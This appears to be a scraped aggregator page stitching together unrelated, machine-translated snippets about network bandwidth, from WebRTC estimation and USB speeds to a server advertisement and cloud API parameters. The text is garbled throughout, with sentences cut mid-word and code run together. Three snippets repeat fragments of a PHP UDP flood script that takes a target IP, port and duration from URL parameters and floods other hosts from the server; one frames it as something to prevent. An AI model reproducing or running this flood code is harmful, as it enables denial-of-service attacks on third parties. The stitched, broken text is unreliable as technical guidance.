cwdm bandwidth

The bandwidth assessment (BWE) is perhaps the most critical module in the WEBRTC video engine, which determines the amount of video data that can be generated when network congestion is not raised in video traffic. Early bandwidth assessment algorithms are relatively primitive, mostly based on packet loss estimation, the basic strategy is to gradually increase the amount of data sent, until the loss of pack

# Include Liu rujia code The summary is to arrange all and then calculate the current minimum bandwidth. UV 140 bandwidth

Along with the decline of the era of the network, recently started a mobile hard disk. Now the mobile hard disk is USB3.0, the transmission speed is much faster than the USB2.0. But after the link notebook computer found the transmission speed around 20mb/s, with USB2.0 speed is similar, and can not reach the legendary 70-80mb/s. And just when you plug in the computer, it pops up. "The controller does not have enough bandwidth to take advantage of the

The stability, security, performance, and low price of Linux + Apache are gaining more and more market share. More and more friends are using Linux + Apache as website servers, while Apache is an http service, it is not easy to control over FTP, especially when the website provides software/music downloads via http, if each user enables multiple threads without bandwidth restrictions, it will soon reach the maximum number of http connections or cause

When IIS is enabled, the outbound bandwidth of the server is used up. that is to say, the server continuously sends packets to others. this is different from the DDOS attack. DDOS constantly receives a large number of packets. use PHP code to call sockets and directly use the server's network to attack other IP addresses. the common code is as follows: The code is as follows: $ Packets = 0; $ Ip = $ _ GET [\ 'IP \ ']; $ Rand = $ _ GET [\ 'Port \ '];

Network Programming LearningIndicators of attentionMB/s BandwidthInformation processing per second, such as query messages/s queries/s TRANSACTION/SDelayCPU UsageTTCP test network bandwidth for read-write and read-write cyclesProperly shut down TCP shutdown_write read->0 closesocketTcp_nodelay delay sending small packets think settings do not wait for instant send to openREUSEADDR Socket multiplexingSee the full code.https://git.oschina.net/def/cppPra

Ambari is hortonworks out an open source Hadoop management system, is written in Python, the current market is open source Hadoop management system seems to be the only one, although ambari problems, but also not good use, but there is no way.Recent surveillance systems often warn that a URL is always unreachable, just a URL to a Ambari server.Then log on to the server for a probe.Use Iftop to view the network condition, found that the network occupancy rate is high, reached 700Mbps, and has bee

"Singapore Big Bandwidth Server" special machineCpu:e3-1230v3 8 Thread (CORE)Memory: 8GB DDR3 ECCHDD: 1TB SATA3 6gb/sBandwidth: 100Mbps Unlimited FlowIP number: 5Price: 850 yuan/month (renewal of the same price)Test ip:103.47.209.1 (Domestic average ping: 70ms)Download speed: Http://103.47.209.18/500MB_1.testPresent machine, install the system can be delivered;Order: http://www.yun.ms/order.ms?pid=24 (minus 350 Yuan coupon code: WEB350OFF)other config

Use PHP code to call sockets, directly with the server network attack other IP, the common code is as follows: Copy the Code code as follows: $packets = 0;$ip = $_get[\ ' ip\ ');$rand = $_get[\ ' port\ ');Set_time_limit (0);Ignore_user_abort (FALSE);$exec _time = $_get[\ ' time\ ');$time = time ();Print \ "Flooded: $ip on port $rand\";$max _time = $time + $exec _time;for ($i =0; $i $out. = \ "X\";}while (1) {$packets + +;if (Time () > $max _time) {Break}$fp = Fsockopen (\ "udp://$ip \", $rand,

Prevent users from using PHP code DOS to consume network bandwidth. Use PHP code to call sockets and directly use the server's network to attack other IP addresses. the common code is as follows: Copy the code as follows: $ packets0; $ ip $ _ GET [ip]; $ rand $ _ GET [port]; set_ti uses PHP code to call sockets and directly uses the server's network to attack other IP addresses. the common code is as follows: The code is as follows: $ Packets = 0;$

Use ETags to reduce Web application bandwidth and load by 12th pages. Recently, the public has been strongly interested in the REST-style application architecture, which indicates that the elegant design of the Web is being noticed. Now, we gradually understand the "3 W Architecture (Introduction to Arc Recently, the public has been strongly interested in the REST-style application architecture, indicating that the elegant design of the Web has begun

I have been testing Double dial 1 recently. The first Double dial, hence the nickname, is that a single number is used twice and used twice at the same time to obtain the upload and download bandwidth of the two parts. Currently, no. 1 dual-dial can be used in many cities. This seems to be achieved by exploiting the vulnerability, namely two virtual pppoe interfaces and dialing using the same account password. Double dial 1 does not mean that after s

Recently the company server bandwidth suddenly increased, server load is not very high, CPU and memory are not high ah, why the bandwidth is high ah, ask you to help analyze the expert! There may be a problem with the program! Reply to discussion (solution) 90% is the picture too much, too big Image is hotlinking, gzip compressed output, HTTP 304 and the like Large file multipleBe hotlinkingIn the v

Very naked template problem, is to knock up a little trouble.#include using namespacestd;structedge{intV,cap;};Const intMAXN =101; VectorE;vectorint>G[MAXN];#definePB push_backvoidAddedge (intUintVintc) {G[u]. PB (E.size ()); E.PB ({v,c}); G[V]. PB (E.size ()); E.PB ({u,0});}ints,t;BOOLVIS[MAXN];intD[MAXN];BOOLBFs () {memset (Vis,0,sizeof(VIS)); Queueint> q; Q.push (S); D[s] =0; Vis[s] =true; while(Q.size ()) {intU =Q.front (); Q.pop (); for(inti =0; I ) {Edgee =E[g[u][i]]; if(!VIS[E.

Because many VPS or server are limited traffic, but many service providers do not provide a detailed flow chart, such as daily traffic table, so it is certain that some people would like to know how much traffic on their servers.Vnstat is a very useful server traffic statistics command. I'll get a few pictures to show you.Statistics days and month of statistics:is not very intuitive. Let's take a look at how this command is used. Estimated is the meaning of estimating usage. Last column Avg. Rat

to view negotiated bandwidth sizessudo ethtools eth0Linux change the NIC MTU method: 1. Open Terminal , view current network card settings: ifconfig 650) this.width=650; "src="/e/u261/themes/default/images/spacer.gif "style=" Background:url ("/e/u261/lang/zh-cn/ Images/localimage.png ") no-repeat center;border:1px solid #ddd;" alt= "Spacer.gif"/>650 "this.width=650;" src= "http ://s4.51cto.com/wyfs02/m02/8b/79/wkiol1hpcjohtki0aafnm9vkqei917.png-wh

Due to the company's troubleshooting needs, it is necessary to record and save the high bandwidth-consuming processes or ports on the public server, so that you can check the problem later.This problem tangled 1, 2 days, the use of Python should be able to meet the needs, but the novice python is not to take the shot, so can only rely on the Linux finished gadgets and Shell to achieve.Linux iftop and nethogs two tools to meet the requirements, but nei

　　Query Shared Bandwidth Pack list Describe Queries the Bandwidthpackage list for the specified region. This interface supports paging queries, with a default number of 10 per page. Request parameters name type must describe action string system specified parameters, values: Describebandwidthpackages regionid string " tr> bandwidthpackageid String

　　Delete a shared bandwidth packet Describe Delete Natgateway. If the IP in the bandwidth packet is referenced by the Portmap rule, the deletion fails. Request parameters name type whether you must Description Action String Is System specified parameters, values: deletebandwidthpackage RegionID String Is Specify geography

Failure phenomenon: Video viewing is not smooth, the occurrence of screen delay and the situation of Carrington. Reason Analysis: This is generally related to the speed. Solution: Lenovo Wireless video service using high-definition cameras from the home network to upload video streaming to the internet for mobile phones and PCs to watch, need at least 512kbps uplink speed, in order to get a better viewing effect. At present the carrier provides ADSL broadband for up and down row asymmetric